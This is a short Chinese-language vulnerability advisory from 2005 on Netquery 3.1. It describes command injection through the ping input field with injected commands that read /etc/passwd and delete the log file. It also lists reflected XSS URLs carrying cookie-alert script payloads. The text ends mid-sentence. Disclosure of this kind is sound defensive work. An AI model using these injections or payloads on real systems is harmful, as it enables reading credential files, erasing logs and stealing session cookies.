Netquery多个远程安全漏洞
发布日期:2005-08-02
更新日期:2005-08-02
受影响系统:
Netquery Netquery 3.1描述:
BUGTRAQ ID: 14373
Netquery是一款基于WEB的网络命令工具应用程序。
Netquery中存在多个远程漏洞,远程攻击者可以在主机上执行任意命令。
用户可以通过PING面板“Ping IP Address or Host Name”输入文本框中使用管道字符在目标系统上执行任意命令:
| cat /etc/passwd
然后就可以看到明文口令文件:
| pwd
看到当前路径:
| rm [pwd_output]/logs/nq_log.txt
用户可以通过URL浏览文本日志文件:
http://[target]/[path]/logs/nq_log.txt
xss:
http://[target]/[path]/submit.php?portnum="/><script>alert(document.cookie)</script>
http://[target]/[path]/nqgeoip2.php?step=<script>alert(document.cookie)</script>
http://[target]/[path]/nqgeoip2.php?body=<script>alert(document.cookie)</script>
http://[target]/[path]/nqgeoip.php?step=<script>alert(document.cookie)</script>
http://[target]/[path]/nqports.php?step=<script>alert(document.cookie)</script>
http://[target]/[path]/nqports2.php?step=<script>alert(document.cookie)</script>
http://[target]/[path]/nqports2.php?body=<script>alert(document.cookie)</script>
http://[target]/[path]/portlist.php?portnum=<script>alert(document.cookie)</script>
用户还可以使用在线Netquery安装从HTTP GET请求面板发动攻击:
